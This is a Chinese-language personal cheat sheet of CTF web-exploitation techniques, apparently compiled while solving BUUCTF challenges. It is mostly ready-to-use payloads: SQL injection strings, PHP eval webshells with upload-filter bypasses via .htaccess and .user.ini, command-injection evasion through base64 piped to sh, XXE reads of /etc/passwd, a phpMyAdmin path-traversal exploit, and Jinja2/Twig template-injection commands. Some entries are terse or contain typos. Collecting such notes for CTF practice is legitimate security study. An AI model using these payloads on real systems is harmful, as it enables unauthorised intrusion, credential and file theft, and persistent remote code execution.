- sql注入的万能密码:1’ or true#
- 如果页面没有什么东西可见,首先可以用diresearch看看有没有什么隐藏的目录,或者检查源代码,如果这些都没成功可以用
dirsearch如果没有找到东西,可能需要调低线程
dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
?file=php://filter/read=convert.base64-encode/resource=flag.php看看有没有回显
(有些时候需要去掉read,如果文件后缀有.php,只需要输入flag即可)
当然某些情况也可以php://filter伪协议套协议
例如:/index.php?category=php://filter/convert.base64-encode/woofers/resource=flag
(可以在伪协议中加入他们。在伪协议写入的时候,会忽略没有含义的值。这样绕过了过滤。woofers就是没有意义的值)
还可以看看是不是存在git泄露
还可以随便输入一个值或者刷新下,用burp抓包看看有没有什么隐藏信息
- ls /:列出根目录下的所有文件
- 空格如果被过滤,可以选择这种方式进行绕过
关键字如果被过滤,可以用””,\,如l””s,l\s
/被过滤,可以用$(printf${IFS}”\57”)绕过
也可以将你要执行的代码使用base64编码然后执行
例如:echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
也可以使用
cat$IFS$9`ls`:反引号内的命令的输出作为输入执行
- 堆叠注入,使用于很多关键字被过滤掉的情况
(这里有点问题,就是有些时候需要加上注释符号,可能是--+或者#,然后可能;后面要带上一个空格,还有一点就是可能是1’,也就是说这个东西要加上错误内容)
1;show databases;#
1;show tables;#
1;show columns from `flag`:flag是表名,这里要加上单引号
当要查询列名里面的内容时,可以使用handler
1';handler `1919810931114514` open as `a`;handler `a` read next;反引号里面的内容是列名
还有一个点,就是有些时候show columns from `flag`不回显,可以构造payload
Show *,1 from flag
还有一点,如果只有表名
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;
这个反引号有问题,有些时候必须加,有些时候又不用加
- sql注入的时候要注意url编码,有些时候编码可能通不过
例如?username=1’ order by 1#要变成?username=1' order by 1%23,也就是#要变成%23
联合注入的基本流程:
猜解字段数
?username=1’ order by 1#:
寻找注入点,也就是找到页面回显的位置:
?username=1’ union select 1,2,3#(假设字段数为3)
猜解数据库名:
?username=1’ union select 1,2,database()#(假设回显的位置是3)
猜解表名:
?username=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
猜解列名:
?username=1’ union select 1,2,group_concat(columns_name) from information_schema.columns where table_name=’geek’#(假设表名为geek)
获取数据:
?username=1’ union select 1,2,group_concat(id,users,password) from geek#(假设geek有id,users,password)
如果在某些关键字被过滤的情况下可以使用双写或者大小写混合
比如说oorr bbyy ununionion seselectlect ffromrom wwherehere
还有一种情况就是很多关键字都被过滤,空格也被过滤,等号,双写大小写都不行的话,substring与mid被过滤可以用right与left来绕过,试试报错注入
获取数据库:admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
获取表:
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23
获取列名
admin'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23(下面这个是对应返回结果大于1行的)
获取数据
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))%23('~',这个东西只起到标志作用)
如果回显的flag不是完整的,可以使用right
admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))%23(从名为H4rDsq1的表中提取密码字段的最后35个字符)
括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格
- 在查找页面源代码时,需要注意查找php,flag等关键字
- User-agent用来伪装浏览器,referer用来伪造网址访问
- 文件上传
第一种情况:可以直接将一句话木马写入,
<?php @eval($_POST[‘shell’]);?>
或者
<script language="php">@eval($_POST['shell']);</script>
然后修改后缀为png或者jpg,然后在抓包软件修改文件后缀为php,成功后通过蚁剑进行连接
第二种情况:在一句话木马前加上文件头
GIF89a
<?php @eval($_POST[‘shell’]);?>
上传后,bp上修改文件后缀为php
第二种情况,如果在抓包软件修改文件后缀为php没有通过可以修改为
php,php3,php4,php5,pht
第三种情况,如果还是被过滤,可以新建一个txt文件,写入
GIF89a
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
或者
GIF89a
<script language="php">@eval($_REQUEST[1234]);</script>
之后修改后缀为phtml,抓包软件更改Content-Type为image/jpeg,上传成功后即可访问这个文件,由于这个语法不同,访问即可得到flag,也可以使用蚁剑连接,连接地址为/upload/filename(一般情况下为upload下,但是也不一定)
第四种情况:前端验证,也就是在为抓包前,页面就给出了提示不能上传为xxx的文件,此时使用f12打开,删除相关验证即可
第五种情况,ph开头的全部被限制,.user.ini文件的使用需要上传目录存在php文件,我们不清楚上传目录是否存在php文件,最合适的方法是上传.htaccess文件
步骤:
新建一个文件名为.htaccess,然后在里面写入
<FilesMatch "abc" >
SetHandler application/x-httpd-php
</FilesMatch>
代码的意思就是,将当前目录下文件名为abc的文件当成php来解析
然后上传该文件,将content-type修改为image/png
然后新建一个abc.png文件,在记事本里面写入一句话木马,然后上传即可,记录下文件存储的位置,使用蚁剑进行连接
第六种情况:如果以上都不行的话,可以上传.user.ini
作用:所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件
步骤:
- 先新建.user.ini里面写入
GIF89a
auto_prepend_file=a.jpg
利用burp抓包,修改Content-Type类型为image/gif
- 上传这个a.jpg,并写入
GIF89a
<script language="php">@eval($_POST[“shell”]);</script>
- 使用蚁剑连接地址一定要有一个php后缀的文件
比如说
实例无法访问 / Instance can't be reached at that time | BUUCTF
Index.php不是我上传的,而是uploads文件夹下有这个文件
//上传.user.ini文件,条件如下:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件 //index.php
(3)服务器使用CGI/FastCGI模式
- 如果网页有提示什么备份文件,可以使用dirsearch进行扫描
常见的/web,/website,/backup,/back,/www,/wwwroot,/temp,/www.zip
.git .svn .swp .svn .~ .bak .bash_history,如index.php.bak
使用kali扫描,关注绿色颜色的文件
- php在序列化的过程中,私有类会被序列化成Nameusername,并且Name前后两端有乱码,乱码使用%00代替,并且可能还识别不出来”,可以用url编码%22代替,也可以直接修改成public
- 注意? num=var_dump(scandir(chr(47))):num前有空格,这样可以使得waf不把num当参数,把num=vardump(scandir('/'))这一串当字符串了,空格也可以用+代替
Var_dump跟print_r的作用差不多,然后如果过滤了某些特殊字符,可以使用chr函数进行绕过
num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))):获取/flagg的内容
file_get_contents也可以替换为file
Chr(47)也可以替换为hex2bin(dechex(47))
dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。
13.
select * from 'admin' where password=md5(&pass,true)
md5(string,raw)
raw:可选。规定十六进制或二进制输出格式:
TRUE-原始 16字符二进制格式 。
FALSE-默认 32字符十六进制数。
比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true(忽略了后面的东西)
也就是说要找到一个数字使得md5(pass)=xxx’or 1xxxx,也就是说关键要有’or’1这个东西
给出一个字符串ffifdyop
如果要判断某个数的MD5值相等,但值不等,可以用数组进行绕过,强类型和弱类型都可以例如param1[]=1¶m2[]=2
如果使用了String强转换,那么只能使用强绕过
$a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&$b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
- 遇到登录注册页面有以下几种情况,首先进行弱口令爆破,其次看看能否进行sql注入,最后看看能不能伪造session或者cookie
- 使用data协议进行传入
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
- 如果属性是protected那么在序列化时会变成乱码,可以将其改为public型即可
- sql注入
select * from user where username = '$name'
可以构造payload
?name=admin' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
考点:联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据
- sql盲注,也就是当过滤了很多的关键字时候可以使用,并且为真或者为假时页面的返回不同,有脚本
Payload:id=(ascii(substr((select(flag)from(flag)),1,1))>101)
- java类型的题目主要需要注意
1.WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
2.WEB-INF/classes:包含了站点所有用的class文件,包括servlet class和非servlet class
3.WEB-INF/lib:存放web应用需要的JAR文件
4.WEB-INF/src:源码目录,按照包名结构放置各个java文件
5.WEB-INF/database.properties:数据库配置文件
6.WEB-INF/tags:存放了自定义标签文件
7.WEB-INF/jsp:jsp 1.2 一下版本的文件存放位置。
8.WEB-INF/jsp2:存放jsp2.0以下版本的文件。
9.META-INF:相当于一个信息包。
如果要进行访问直接在地址后面跟上相关即可
如:http://xxx/WEB-INF/web.xml(有些时候get请求可能不行,改成post即可)
基本步骤:先访问WEB-INF/web.xml,如果找到相关的class文件
再访问WEB-INF/classes/com/wm/ctf/FlagController.class
- sql注入如果用户是root,可以用load_file()函数,load_file(“/var/www/html/flag.php”)
- 如果过滤了union select整个,可以用union/**/select代替(/**/代替空格)
- Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞
twig漏洞:先找到存不存在模板注入
{{7*7}}:如果被执行,说明存在
{{system(“ls”)}}
{{system(“ls /”)}}
{{system(“cat /flag”)}}
- file_get_contents(index.php):获取内容
- Find / -nam flag*
- php内的" \ "在做代码执行的时候,会识别特殊字符串,绕过黑名单
比如说系统禁用了system,那么可以使用\system绕过
例如:func=\system&p=find / -name flag*
call_user_func($func, $p):执行该函数func(p)
- git泄露
用法:python2 Githack.py http://xxxx/.git/(linux用)
当过滤了很多东西时
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
- xml漏洞利用
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
<!ENTITY admin SYSTEM "file:///etc/passwd">
<!ENTITY admin SYSTEM "file:///var/www/html/doLogin.php">
<!ENTITY admin SYSTEM "file:///etc/hosts">
<!ENTITY admin SYSTEM "file:///proc/net/arp">
#访问/proc/net/arp文件时查看有无可利用内网主机等,然后通过爆破主机地址进行访问
有些时候也可以爆破最后一个地址
]>
<user><username>&admin;</username><password>123456</password></user>
- phpmyadmin漏洞:
查询到4.8.1版本存在任意文件读取漏洞:phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613
Payload:/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
Payload:/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
26.一个数的MD5值等于他自己:0e215962017
加入说过滤了cat,也可以使用tac进行绕过,效果是一样的
- 模版注入,system关键字等被过滤
可以使用twig模板
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
输入{{7*‘7’}},返回49表示是 Twig 模块
输入{{7*‘7’}},返回7777777表示是 Jinja2 模块
- php魔术方法
__destruct(类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。)
__construct(类一执行就开始调用,其作用是拿来初始化一些值。)
__toString(在对象当做字符串的时候会被调用。)
__wakeup(该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作)
__sleep(在对象被序列化的过程中自动调用。sleep要加数组)
__invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)
__set(在对象访问私有成员的时候自动被调用,达到了给你看,但是不能给你修改的效果!在对象访问一个私有的成员的时候就会自动的调用该魔术方法)
__call(当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息)
__isset(方法用于检测私有属性值是否被设定。当外部使用isset读类内部进行检测对象是否有具有某个私有成员的时候就会被自动调用!)
__unset(方法用于删除私有属性。在外部调用类内部的私有成员的时候就会自动的调用__unset魔术方法)
在反序列化构造时,要倒着构造
- 模板注入
Flask
过滤了config
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
- unicode传值:Unicode - Compart
- Nmap可以使用og进行保存
Payload:?host=127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG hack.phtml'
- assert把整个字符串参数当php代码执行,eval把合法的php代码执行
- 如果or被过滤 是在想不到其他方法
From mysql.innodb_table_stats where database_name="web1"
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
- 盲注使用异或方式进行爆破(根据页面的回显不同来构造)
1^1=0,0^0=0,1^0=1
Payload:?id=1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105),脚本已下载
- 正则表达式的绕过(https://blog.csdn.net/mochu7777777/article/details/104631142)
可以采用取反或者异或的方式进行绕过
@eval($code):比如说这是要执行的code
取反操作:对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反,有脚本,这里就相当于对phpinfo进行取反
<?php
//(assert)(eval($_POST['g']))
$a = 'phpinfo';
$b = urlencode(~$a);
echo $b;
?>//这个是php类型的,自己电脑上有python版本的
?code=(~%8F%97%8F%96%91%99%90)();(phpinfo)
构造脚本
<?php
//assert(eval($_POST['g']))
$a = 'assert';
$b = urlencode(~$a);
$c = '(eval($_POST[g]))';
$d = urlencode(~$c);
$e = '(~'.$b.')'.'(~'.$d.')';
echo $e;
?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%98%A2%D6%D6)
上传后通过蚁剑连接,密码为g
(这里使用assert是因为eval 属于PHP语法构造的一部分,eval()是一个语言构造器,不能被可变函数调用,所以不能通过 变量函数的形式来调用assert不可以执行’echo 1’等命令)
- 蚁剑绕过disable_functions
- apache iis远程命令执行
<!--#exec cmd="ls"-->
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
- 正则匹配只能匹配第一行,可以采取多行绕过
%0A是换行符
?cmd={%0A"cmd":"ls /"%0A}
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}:使用绝对路径调用系统命令
- 遇到不认识得字符,可以丢进控制台
- PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符"`"的效果与函数shell_exec() 相同,空格被过滤了可以用%09代替
php被过滤了,可以使用短标签<?= ?>这个就等同于<?echo ?>
<?echo%09`ls%09/`?>
- 二次注入
说白了,就是第一次使用没有问题,但是这个sql语句在另外一处使用时造成了sql注入
比如说注册时注册用户为123"||(updatexml(1,concat('~',(select(database()))),1))#(or被过滤掉了)
但是在修改密码时,数据库没有将其视为一个字符串,就会造成报错注入
获取表名:
123"||(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))#
获取列名:
123"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#
获取数据:
123"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#(该字段有多列,需要用regexp(’^f’)将f开头的进行筛选(regexp()是sql的正则表达式)
如果回显太多,可以倒序输出
123"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
- mt_rand就是一个伪随机数生成函数,它由可确定的函数,通过一个种子产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)
将已知的部分伪随机数转化为php_mt_seed工具可以看懂的数据
str1 ='Hg11vtADEm'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''
length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(result)
后面配置有问题
2.
Jinja2模板注入
Payload:{{ b['eval']('__import__("os").popen("ls").read()') }} //这里的ls就是需要的执行命令
{{ b['eval']('__import__("os").popen("cat flag.txt").read()') }} //这里的ls就是需要的执行命令
python dirsearch.py -u http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/dict_mode_dict.txt